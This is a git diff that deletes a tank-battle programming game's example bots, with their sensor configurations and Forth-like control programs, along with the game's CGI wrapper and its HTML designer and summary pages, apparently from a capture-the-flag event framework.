1 diff --git a/packages/tanks/examples/insane/BoomStick/sensor1 b/packages/tanks/examples/insane/BoomStick/sensor1 deleted file mode 100644 index 5a59710..0000000 --- a/packages/tanks/examples/insane/BoomStick/sensor1 +++ /dev/null @@ -1 +0,0 @@ -100 18 18 1 diff --git a/packages/tanks/examples/insane/BoomStick/sensor2 b/packages/tanks/examples/insane/BoomStick/sensor2 deleted file mode 100644 index a409452..0000000 --- a/packages/tanks/examples/insane/BoomStick/sensor2 +++ /dev/null @@ -1 +0,0 @@ -100 -18 18 1 diff --git a/packages/tanks/examples/insane/BoomStick/sensor3 b/packages/tanks/examples/insane/BoomStick/sensor3 deleted file mode 100644 index 61d740b..0000000 --- a/packages/tanks/examples/insane/BoomStick/sensor3 +++ /dev/null @@ -1 +0,0 @@ -25 0 120 0 diff --git a/packages/tanks/examples/insane/BoomStick/sensor4 b/packages/tanks/examples/insane/BoomStick/sensor4 deleted file mode 100644 index 5a39230..0000000 --- a/packages/tanks/examples/insane/BoomStick/sensor4 +++ /dev/null @@ -1 +0,0 @@ -100 36 18 1 diff --git a/packages/tanks/examples/insane/BoomStick/sensor5 b/packages/tanks/examples/insane/BoomStick/sensor5 deleted file mode 100644 index a54a843..0000000 --- a/packages/tanks/examples/insane/BoomStick/sensor5 +++ /dev/null @@ -1 +0,0 @@ -100 112 135 0 diff --git a/packages/tanks/examples/insane/BoomStick/sensor6 b/packages/tanks/examples/insane/BoomStick/sensor6 deleted file mode 100644 index 3b119c4..0000000 --- a/packages/tanks/examples/insane/BoomStick/sensor6 +++ /dev/null @@ -1 +0,0 @@ -100 0 30 0 diff --git a/packages/tanks/examples/insane/BoomStick/sensor7 b/packages/tanks/examples/insane/BoomStick/sensor7 deleted file mode 100644 index 6a165df..0000000 --- a/packages/tanks/examples/insane/BoomStick/sensor7 +++ /dev/null @@ -1 +0,0 @@ -100 0 18 1 diff --git a/packages/tanks/examples/insane/BoomStick/sensor8 b/packages/tanks/examples/insane/BoomStick/sensor8 deleted file mode 100644 index e7fb35c..0000000 --- a/packages/tanks/examples/insane/BoomStick/sensor8 +++ /dev/null @@ -1 +0,0 @@ -100 -112 135 0 diff --git a/packages/tanks/examples/insane/BoomStick/sensor9 b/packages/tanks/examples/insane/BoomStick/sensor9 deleted file mode 100644 index 444de17..0000000 --- a/packages/tanks/examples/insane/BoomStick/sensor9 +++ /dev/null @@ -1 +0,0 @@ -100 -36 18 1 diff --git a/packages/tanks/examples/insane/Combustible/author b/packages/tanks/examples/insane/Combustible/author deleted file mode 100644 index 36352d5..0000000 --- a/packages/tanks/examples/insane/Combustible/author +++ /dev/null @@ -1 +0,0 @@ -mr_combustible@hotmail.com \ No newline at end of file diff --git a/packages/tanks/examples/insane/Combustible/color b/packages/tanks/examples/insane/Combustible/color deleted file mode 100644 index 9d5085c..0000000 --- a/packages/tanks/examples/insane/Combustible/color +++ /dev/null @@ -1 +0,0 @@ -#FF6F00 \ No newline at end of file diff --git a/packages/tanks/examples/insane/Combustible/name b/packages/tanks/examples/insane/Combustible/name deleted file mode 100644 index 35828ff..0000000 --- a/packages/tanks/examples/insane/Combustible/name +++ /dev/null @@ -1 +0,0 @@ -Combustible \ No newline at end of file diff --git a/packages/tanks/examples/insane/Combustible/program b/packages/tanks/examples/insane/Combustible/program deleted file mode 100644 index 9457553..0000000 --- a/packages/tanks/examples/insane/Combustible/program +++ /dev/null @@ -1,14 +0,0 @@ -0 set-turret! ( Rotate turret ) -60 58 set-speed! ( Full speed! ) -0 sensor? { fire! } if ( Fire if turret sensor triggered ) -1 sensor? { 100 -150 set-speed! } if ( Turn if right sensor triggered ) -2 sensor? { -150 100 set-speed! } if ( Turn if left sensor triggered ) -8 sensor? { 90 0 set-speed! } if ( Turn if right/front sensor triggered ) -9 sensor? { 0 90 set-speed! } if ( Turn if left/front sensor triggered ) -3 sensor? { 150 150 set-speed! } if (Front doublespeed) -4 sensor? { 150 150 set-speed! } if ( run away! ) - -7 sensor? { -150 -150 set-speed! } if (Front collision) - -fire-ready? {}{ 5 sensor? {-30 -60 set-speed! } if } ifelse -fire-ready? {}{ 6 sensor? {-60 -30 set-speed! } if } ifelse \ No newline at end of file diff --git a/packages/tanks/examples/insane/Combustible/sensor0 b/packages/tanks/examples/insane/Combustible/sensor0 deleted file mode 100644 index 9246d12..0000000 --- a/packages/tanks/examples/insane/Combustible/sensor0 +++ /dev/null @@ -1 +0,0 @@ -50 0 2 0 diff --git a/packages/tanks/examples/insane/Combustible/sensor1 b/packages/tanks/examples/insane/Combustible/sensor1 deleted file mode 100644 index e44d621..0000000 --- a/packages/tanks/examples/insane/Combustible/sensor1 +++ /dev/null @@ -1 +0,0 @@ -100 108 130 0 diff --git a/packages/tanks/examples/insane/Combustible/sensor2 b/packages/tanks/examples/insane/Combustible/sensor2 deleted file mode 100644 index c0e8d0c..0000000 --- a/packages/tanks/examples/insane/Combustible/sensor2 +++ /dev/null @@ -1 +0,0 @@ -100 252 130 0 diff --git a/packages/tanks/examples/insane/Combustible/sensor3 b/packages/tanks/examples/insane/Combustible/sensor3 deleted file mode 100644 index 75c424c..0000000 --- a/packages/tanks/examples/insane/Combustible/sensor3 +++ /dev/null @@ -1 +0,0 @@ -100 0 2 0 diff --git a/packages/tanks/examples/insane/Combustible/sensor4 b/packages/tanks/examples/insane/Combustible/sensor4 deleted file mode 100644 index 67bc9c9..0000000 --- a/packages/tanks/examples/insane/Combustible/sensor4 +++ /dev/null @@ -1 +0,0 @@ -90 180 90 0 diff --git a/packages/tanks/examples/insane/Combustible/sensor5 b/packages/tanks/examples/insane/Combustible/sensor5 deleted file mode 100644 index dc649e1..0000000 --- a/packages/tanks/examples/insane/Combustible/sensor5 +++ /dev/null @@ -1 +0,0 @@ -55 90 180 0 diff --git a/packages/tanks/examples/insane/Combustible/sensor6 b/packages/tanks/examples/insane/Combustible/sensor6 deleted file mode 100644 index aece5cf..0000000 --- a/packages/tanks/examples/insane/Combustible/sensor6 +++ /dev/null @@ -1 +0,0 @@ -55 270 180 0 diff --git a/packages/tanks/examples/insane/Combustible/sensor7 b/packages/tanks/examples/insane/Combustible/sensor7 deleted file mode 100644 index c39894c..0000000 --- a/packages/tanks/examples/insane/Combustible/sensor7 +++ /dev/null @@ -1 +0,0 @@ -35 0 180 0 diff --git a/packages/tanks/examples/insane/Combustible/sensor8 b/packages/tanks/examples/insane/Combustible/sensor8 deleted file mode 100644 index df70693..0000000 --- a/packages/tanks/examples/insane/Combustible/sensor8 +++ /dev/null @@ -1 +0,0 @@ -100 34 37 0 diff --git a/packages/tanks/examples/insane/Combustible/sensor9 b/packages/tanks/examples/insane/Combustible/sensor9 deleted file mode 100644 index 1030344..0000000 --- a/packages/tanks/examples/insane/Combustible/sensor9 +++ /dev/null @@ -1 +0,0 @@ -100 326 37 0 diff --git a/packages/tanks/examples/insane/Combustible/sensors b/packages/tanks/examples/insane/Combustible/sensors deleted file mode 100644 index 8151664..0000000 --- a/packages/tanks/examples/insane/Combustible/sensors +++ /dev/null @@ -1,2 +0,0 @@ -50 0 0 1 -70 0 50 0 diff --git a/packages/tanks/examples/insane/clumsy/author b/packages/tanks/examples/insane/clumsy/author deleted file mode 100644 index d48933b..0000000 --- a/packages/tanks/examples/insane/clumsy/author +++ /dev/null @@ -1 +0,0 @@ -Geoff \ No newline at end of file diff --git a/packages/tanks/examples/insane/clumsy/color b/packages/tanks/examples/insane/clumsy/color deleted file mode 100644 index b6f49d0..0000000 --- a/packages/tanks/examples/insane/clumsy/color +++ /dev/null @@ -1 +0,0 @@ -#FFFFFF \ No newline at end of file diff --git a/packages/tanks/examples/insane/clumsy/name b/packages/tanks/examples/insane/clumsy/name deleted file mode 100644 index 225fcb5..0000000 --- a/packages/tanks/examples/insane/clumsy/name +++ /dev/null @@ -1 +0,0 @@ -clumsy \ No newline at end of file diff --git a/packages/tanks/examples/insane/clumsy/program b/packages/tanks/examples/insane/clumsy/program deleted file mode 100644 index 8b2b6a0..0000000 --- a/packages/tanks/examples/insane/clumsy/program +++ /dev/null @@ -1,50 +0,0 @@ -0 sensor?{ - get-turret 0 = { 1 sensor?{ fire! } if } if - - get-turret 17 = { 2 sensor?{ fire! } if } if - get-turret 34 = { 3 sensor?{ fire! } if } if - get-turret 51 = { 4 sensor?{ fire! } if } if - - get-turret -17 = { 5 sensor?{ fire! } if } if - get-turret -34 = { 6 sensor?{ fire! } if } if - get-turret -51 = { 7 sensor?{ fire! } if } if -}if (0) -fire-ready?{ 0 set-led! }{ 1 set-led! } ifelse - -1 sensor?{ 0 set-turret! }{ - 2 sensor?{ 17 set-turret! }{ - 3 sensor?{ 34 set-turret! }{ - 4 sensor?{ 51 set-turret! }{ - 5 sensor?{ -17 set-turret! }{ - 6 sensor?{ -34 set-turret! }{ - 7 sensor?{ -51 set-turret! }{ - 0 set-turret! - }ifelse - }ifelse - }ifelse - }ifelse - }ifelse - }ifelse -}ifelse - -get-turret 0 = { 2 sensor?{ 17 set-turret! }{ 5 sensor?{ -17 set-turret! } if (5) } ifelse (2) } if (0t) -get-turret 17 = { 1 sensor?{ 0 set-turret! }{ 3 sensor?{ 34 set-turret! } if (3) } ifelse (1) } if (17t) -get-turret 34 = { 2 sensor?{ 17 set-turret! }{ 4 sensor?{ 51 set-turret! } if (4) } ifelse (2) } if (34t) -get-turret 51 = { 34 set-turret! } if (51t) - -get-turret -17 = { 1 sensor?{ 0 set-turret! }{ 6 sensor?{ -34 set-turret! } if (6) } ifelse (1) } if (-17t) -get-turret -34 = { 5 sensor?{ -17 set-turret! }{ 7 sensor?{ -51 set-turret! } if (7) } ifelse (5) } if (-34t) -get-turret -51 = { -34 set-turret! } if (51t) - -9 mget 55 = {}{ 0 set-turret! 55 9 mset} ifelse - - 1 sensor?{ 100 1 mset 100 2 mset }{ - 2 sensor?{ 100 1 mset -100 2 mset }{ - 5 sensor?{ -100 1 mset 100 2 mset }{ - 100 1 mset 100 2 mset - } ifelse (5) - } ifelse (2) - } ifelse (1) - - 8 sensor?{ 100 1 mset 100 2 mset } if -1 mget 2 mget set-speed! diff --git a/packages/tanks/examples/insane/clumsy/sensor0 b/packages/tanks/examples/insane/clumsy/sensor0 deleted file mode 100644 index 992184a..0000000 --- a/packages/tanks/examples/insane/clumsy/sensor0 +++ /dev/null @@ -1 +0,0 @@ -50 0 359 0 diff --git a/packages/tanks/examples/insane/clumsy/sensor1 b/packages/tanks/examples/insane/clumsy/sensor1 deleted file mode 100644 index fed3ae2..0000000 --- a/packages/tanks/examples/insane/clumsy/sensor1 +++ /dev/null @@ -1 +0,0 @@ -100 0 1 0 diff --git a/packages/tanks/examples/insane/clumsy/sensor2 b/packages/tanks/examples/insane/clumsy/sensor2 deleted file mode 100644 index af9d7fe..0000000 --- a/packages/tanks/examples/insane/clumsy/sensor2 +++ /dev/null @@ -1 +0,0 @@ -100 17 1 0 diff --git a/packages/tanks/examples/insane/clumsy/sensor3 b/packages/tanks/examples/insane/clumsy/sensor3 deleted file mode 100644 index ac407a7..0000000 --- a/packages/tanks/examples/insane/clumsy/sensor3 +++ /dev/null @@ -1 +0,0 @@ -100 34 1 0 diff --git a/packages/tanks/examples/insane/clumsy/sensor4 b/packages/tanks/examples/insane/clumsy/sensor4 deleted file mode 100644 index 79e02fb..0000000 --- a/packages/tanks/examples/insane/clumsy/sensor4 +++ /dev/null @@ -1 +0,0 @@ -100 51 1 0 diff --git a/packages/tanks/examples/insane/clumsy/sensor5 b/packages/tanks/examples/insane/clumsy/sensor5 deleted file mode 100644 index b9270c5..0000000 --- a/packages/tanks/examples/insane/clumsy/sensor5 +++ /dev/null @@ -1 +0,0 @@ -100 -17 1 0 diff --git a/packages/tanks/examples/insane/clumsy/sensor6 b/packages/tanks/examples/insane/clumsy/sensor6 deleted file mode 100644 index 81d2267..0000000 --- a/packages/tanks/examples/insane/clumsy/sensor6 +++ /dev/null @@ -1 +0,0 @@ -100 -34 1 0 diff --git a/packages/tanks/examples/insane/clumsy/sensor7 b/packages/tanks/examples/insane/clumsy/sensor7 deleted file mode 100644 index b03447b..0000000 --- a/packages/tanks/examples/insane/clumsy/sensor7 +++ /dev/null @@ -1 +0,0 @@ -100 -51 1 0 diff --git a/packages/tanks/examples/insane/clumsy/sensor8 b/packages/tanks/examples/insane/clumsy/sensor8 deleted file mode 100644 index f805278..0000000 --- a/packages/tanks/examples/insane/clumsy/sensor8 +++ /dev/null @@ -1 +0,0 @@ -75 180 180 0 diff --git a/packages/tanks/examples/insane/clumsy/sensor9 b/packages/tanks/examples/insane/clumsy/sensor9 deleted file mode 100644 index 41008bd..0000000 --- a/packages/tanks/examples/insane/clumsy/sensor9 +++ /dev/null @@ -1 +0,0 @@ -90 180 180 0 diff --git a/packages/tanks/examples/insane/pony/author b/packages/tanks/examples/insane/pony/author deleted file mode 100644 index c137216..0000000 --- a/packages/tanks/examples/insane/pony/author +++ /dev/null @@ -1 +0,0 @@ -F \ No newline at end of file diff --git a/packages/tanks/examples/insane/pony/color b/packages/tanks/examples/insane/pony/color deleted file mode 100644 index 576e1e4..0000000 --- a/packages/tanks/examples/insane/pony/color +++ /dev/null @@ -1 +0,0 @@ -#FF0000 \ No newline at end of file diff --git a/packages/tanks/examples/insane/pony/name b/packages/tanks/examples/insane/pony/name deleted file mode 100644 index 72ff5d8..0000000 --- a/packages/tanks/examples/insane/pony/name +++ /dev/null @@ -1 +0,0 @@ -for pony \ No newline at end of file diff --git a/packages/tanks/examples/insane/pony/program b/packages/tanks/examples/insane/pony/program deleted file mode 100644 index 9ac6e86..0000000 --- a/packages/tanks/examples/insane/pony/program +++ /dev/null @@ -1,78 +0,0 @@ -0 sensor?{ fire! 0 0 mset } if -1 2 mset -1 sensor?{ -6 sensor?{ - fire-ready?{ - 100 100 set-speed! - }{ - -100 -100 set-speed! - } ifelse (fire) - }{ - get-turret 30 > { - get-turret 180 < { - 50 -50 set-speed! get-turret 20 - set-turret! - }{ - -50 50 set-speed! get-turret 20 + set-turret! - } ifelse (180) - }{ - get-turret -30 < { - get-turret -180 > { - -50 50 set-speed! get-turret 20 + set-turret! - }{ - 50 -50 set-speed! get-turret 20 - set-turret! - } ifelse (-180) - }{ - fire-ready?{ - 100 100 set-speed! - }{ - -100 -100 set-speed! - } ifelse (fire) - } ifelse (-30) - } ifelse (30) - } ifelse (6) -} if (1) - -2 sensor?{ get-turret 30 + set-turret! }{ -3 sensor?{ get-turret 30 - set-turret! }{ -4 sensor?{ 50 -50 set-speed! }{ -5 sensor?{ -50 50 set-speed! }{ - - -1 mget 20 > { -100 100 set-speed! -0 set-turret! -0 1 mset - -}{ - -1 mget 1 + 1 mset -} ifelse - -0 2 mset - -} ifelse (5) -} ifelse (4) - -} ifelse (3) -} ifelse (2) - -9 mget 55 = {}{ 55 9 mset 0 0 mset 0 1 mset 60 3 mset 10 4 mset 50 55 set-speed! 0 set-turret! }ifelse (initialisation routine - only executed once) - -2 mget 0 = { - 7 sensor?{ - 100 100 set-speed! - }{ - 8 sensor?{ - 100 -100 set-speed! - }{ - 9 sensor?{ - -100 100 set-speed! - }{ - 3 mget 0 = { 4 mget 0 = { 10 4 mset 60 3 mset 100 100 set-speed! }{ 4 mget 10 = { 50 50 random set-speed! } if 4 mget 1 - 4 mset } ifelse (4m) }{ 3 mget 1 - 3 mset } ifelse (3m) - } ifelse - - } ifelse - } ifelse -} if (mget) - -fire-ready?{}{ 6 sensor? { -100 -100 set-speed! } if } ifelse diff --git a/packages/tanks/examples/insane/pony/sensor0 b/packages/tanks/examples/insane/pony/sensor0 deleted file mode 100644 index ae81fe2..0000000 --- a/packages/tanks/examples/insane/pony/sensor0 +++ /dev/null @@ -1 +0,0 @@ -50 0 1 1 diff --git a/packages/tanks/examples/insane/pony/sensor1 b/packages/tanks/examples/insane/pony/sensor1 deleted file mode 100644 index 07f5207..0000000 --- a/packages/tanks/examples/insane/pony/sensor1 +++ /dev/null @@ -1 +0,0 @@ -100 0 1 1 diff --git a/packages/tanks/examples/insane/pony/sensor2 b/packages/tanks/examples/insane/pony/sensor2 deleted file mode 100644 index c050a62..0000000 --- a/packages/tanks/examples/insane/pony/sensor2 +++ /dev/null @@ -1 +0,0 @@ -100 30 1 1 diff --git a/packages/tanks/examples/insane/pony/sensor3 b/packages/tanks/examples/insane/pony/sensor3 deleted file mode 100644 index 0a88d20..0000000 --- a/packages/tanks/examples/insane/pony/sensor3 +++ /dev/null @@ -1 +0,0 @@ -100 -30 1 1 diff --git a/packages/tanks/examples/insane/pony/sensor4 b/packages/tanks/examples/insane/pony/sensor4 deleted file mode 100644 index 9e730e6..0000000 --- a/packages/tanks/examples/insane/pony/sensor4 +++ /dev/null @@ -1 +0,0 @@ -100 60 30 0 diff --git a/packages/tanks/examples/insane/pony/sensor5 b/packages/tanks/examples/insane/pony/sensor5 deleted file mode 100644 index bf83607..0000000 --- a/packages/tanks/examples/insane/pony/sensor5 +++ /dev/null @@ -1 +0,0 @@ -100 -60 30 0 diff --git a/packages/tanks/examples/insane/pony/sensor6 b/packages/tanks/examples/insane/pony/sensor6 deleted file mode 100644 index fed3ae2..0000000 --- a/packages/tanks/examples/insane/pony/sensor6 +++ /dev/null @@ -1 +0,0 @@ -100 0 1 0 diff --git a/packages/tanks/examples/insane/pony/sensor7 b/packages/tanks/examples/insane/pony/sensor7 deleted file mode 100644 index 5c56951..0000000 --- a/packages/tanks/examples/insane/pony/sensor7 +++ /dev/null @@ -1 +0,0 @@ -80 180 60 0 diff --git a/packages/tanks/examples/insane/pony/sensor8 b/packages/tanks/examples/insane/pony/sensor8 deleted file mode 100644 index b122373..0000000 --- a/packages/tanks/examples/insane/pony/sensor8 +++ /dev/null @@ -1 +0,0 @@ -80 120 60 0 diff --git a/packages/tanks/examples/insane/pony/sensor9 b/packages/tanks/examples/insane/pony/sensor9 deleted file mode 100644 index 1c594d7..0000000 --- a/packages/tanks/examples/insane/pony/sensor9 +++ /dev/null @@ -1 +0,0 @@ -80 -120 60 0 diff --git a/packages/tanks/examples/insane/sarlacc/author b/packages/tanks/examples/insane/sarlacc/author deleted file mode 100644 index bf11e9d..0000000 --- a/packages/tanks/examples/insane/sarlacc/author +++ /dev/null @@ -1 +0,0 @@ -Nemo \ No newline at end of file diff --git a/packages/tanks/examples/insane/sarlacc/color b/packages/tanks/examples/insane/sarlacc/color deleted file mode 100644 index 78d0486..0000000 --- a/packages/tanks/examples/insane/sarlacc/color +++ /dev/null @@ -1 +0,0 @@ -#00FF00 \ No newline at end of file diff --git a/packages/tanks/examples/insane/sarlacc/name b/packages/tanks/examples/insane/sarlacc/name deleted file mode 100644 index ff1bdd8..0000000 --- a/packages/tanks/examples/insane/sarlacc/name +++ /dev/null @@ -1 +0,0 @@ -Sarlacc \ No newline at end of file diff --git a/packages/tanks/examples/insane/sarlacc/program b/packages/tanks/examples/insane/sarlacc/program deleted file mode 100644 index c76f574..0000000 --- a/packages/tanks/examples/insane/sarlacc/program +++ /dev/null @@ -1,27 +0,0 @@ -99 100 set-speed! ( big circles ) -0 set-led! -0 set-turret! - -2 sensor? { 100 -28 set-speed! } if (outer right) -3 sensor? { -32 100 set-speed! } if (outer left) - -4 sensor? { 100 2 set-speed! } if (middle pincer) -5 sensor? { -2 100 set-speed! } if (middle pincer) - -4 sensor? 2 sensor? & { 50 -48 set-speed! } if (middle right) -5 sensor? 3 sensor? & { -52 50 set-speed! } if (middle left) - -1 sensor? { 100 100 set-speed! } if ( full speed ahead if we have a target ) -fire-ready? { 1 set-led! } { 40 random 10 + 35 random 5 + set-speed! } ifelse (trundle if we can't fire, else show danger LED) - -6 sensor? { 100 -48 set-speed! } if ( inner right ) -7 sensor? { -52 100 set-speed! } if ( inner left ) - -0 sensor? { fire! } if ( Fire if turret sensor triggered ) - -4 sensor? fire-ready? ! & {70 100 set-speed!} if (escape if we can't fire and are close) -5 sensor? fire-ready? ! & {100 70 set-speed!} if (escape if we can't fire and are close) - -8 sensor? 6 sensor? & { -99 -100 set-speed! } if ( front crash avoid ) -8 sensor? 7 sensor? & { -100 -99 set-speed! } if ( front crash avoid ) -9 sensor? { 100 100 set-speed! } if ( rear crash avoid ) \ No newline at end of file diff --git a/packages/tanks/examples/insane/sarlacc/sensor0 b/packages/tanks/examples/insane/sarlacc/sensor0 deleted file mode 100644 index 6cab31b..0000000 --- a/packages/tanks/examples/insane/sarlacc/sensor0 +++ /dev/null @@ -1 +0,0 @@ -50 0 3 0 diff --git a/packages/tanks/examples/insane/sarlacc/sensor1 b/packages/tanks/examples/insane/sarlacc/sensor1 deleted file mode 100644 index ce8d4d8..0000000 --- a/packages/tanks/examples/insane/sarlacc/sensor1 +++ /dev/null @@ -1 +0,0 @@ -100 0 10 0 diff --git a/packages/tanks/examples/insane/sarlacc/sensor2 b/packages/tanks/examples/insane/sarlacc/sensor2 deleted file mode 100644 index 20fbb32..0000000 --- a/packages/tanks/examples/insane/sarlacc/sensor2 +++ /dev/null @@ -1 +0,0 @@ -100 105 150 0 diff --git a/packages/tanks/examples/insane/sarlacc/sensor3 b/packages/tanks/examples/insane/sarlacc/sensor3 deleted file mode 100644 index 44d4eee..0000000 --- a/packages/tanks/examples/insane/sarlacc/sensor3 +++ /dev/null @@ -1 +0,0 @@ -100 255 150 0 diff --git a/packages/tanks/examples/insane/sarlacc/sensor4 b/packages/tanks/examples/insane/sarlacc/sensor4 deleted file mode 100644 index e05222f..0000000 --- a/packages/tanks/examples/insane/sarlacc/sensor4 +++ /dev/null @@ -1 +0,0 @@ -80 100 160 0 diff --git a/packages/tanks/examples/insane/sarlacc/sensor5 b/packages/tanks/examples/insane/sarlacc/sensor5 deleted file mode 100644 index 3f6b139..0000000 --- a/packages/tanks/examples/insane/sarlacc/sensor5 +++ /dev/null @@ -1 +0,0 @@ -80 260 160 0 diff --git a/packages/tanks/examples/insane/sarlacc/sensor6 b/packages/tanks/examples/insane/sarlacc/sensor6 deleted file mode 100644 index 1cb43e1..0000000 --- a/packages/tanks/examples/insane/sarlacc/sensor6 +++ /dev/null @@ -1 +0,0 @@ -60 95 170 0 diff --git a/packages/tanks/examples/insane/sarlacc/sensor7 b/packages/tanks/examples/insane/sarlacc/sensor7 deleted file mode 100644 index db43bab..0000000 --- a/packages/tanks/examples/insane/sarlacc/sensor7 +++ /dev/null @@ -1 +0,0 @@ -60 265 170 0 diff --git a/packages/tanks/examples/insane/sarlacc/sensor8 b/packages/tanks/examples/insane/sarlacc/sensor8 deleted file mode 100644 index c73feb0..0000000 --- a/packages/tanks/examples/insane/sarlacc/sensor8 +++ /dev/null @@ -1 +0,0 @@ -40 0 180 0 diff --git a/packages/tanks/examples/insane/sarlacc/sensor9 b/packages/tanks/examples/insane/sarlacc/sensor9 deleted file mode 100644 index 31bc932..0000000 --- a/packages/tanks/examples/insane/sarlacc/sensor9 +++ /dev/null @@ -1 +0,0 @@ -40 180 180 0 diff --git a/packages/tanks/html/designer.cgi b/packages/tanks/html/designer.cgi deleted file mode 100755 index 753b2e4..0000000 --- a/packages/tanks/html/designer.cgi +++ /dev/null @@ -1,4 +0,0 @@ -#! /bin/sh - -BASE_PATH=$CTF_BASE/state/tanks/players/; export BASE_PATH -exec $CTF_BASE/packages/tanks/bin/designer.cgi diff --git a/packages/tanks/html/designer.html b/packages/tanks/html/designer.html deleted file mode 100644 index 196f249..0000000 --- a/packages/tanks/html/designer.html +++ /dev/null @@ -1,178 +0,0 @@ - - - - Tank Designer - - - - - - - -

Tank Designer

-

- -
-
- Information - - - - - - - - - - - - - - - - - -
Team hash:
Tank name:
Author: - - (eg. Joe Cool <joe@cool.cc>) -
Color: - - (eg. #c7e148) -
-
- -
- Sensors - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
#RangeAngleWidthTurret?
0
1
2
3
4
5
6
7
8
9
-
- -
- Program - -
- - -
-
- - - diff --git a/packages/tanks/html/index.html b/packages/tanks/html/index.html deleted file mode 120000 index b1d8680..0000000 --- a/packages/tanks/html/index.html +++ /dev/null @@ -1 +0,0 @@ -summary.html \ No newline at end of file diff --git a/packages/tanks/html/newest.html b/packages/tanks/html/newest.html deleted file mode 100644 index a95fe78..0000000 --- a/packages/tanks/html/newest.html +++ /dev/null @@ -1,30 +0,0 @@ - - - - Tanks - - - - - -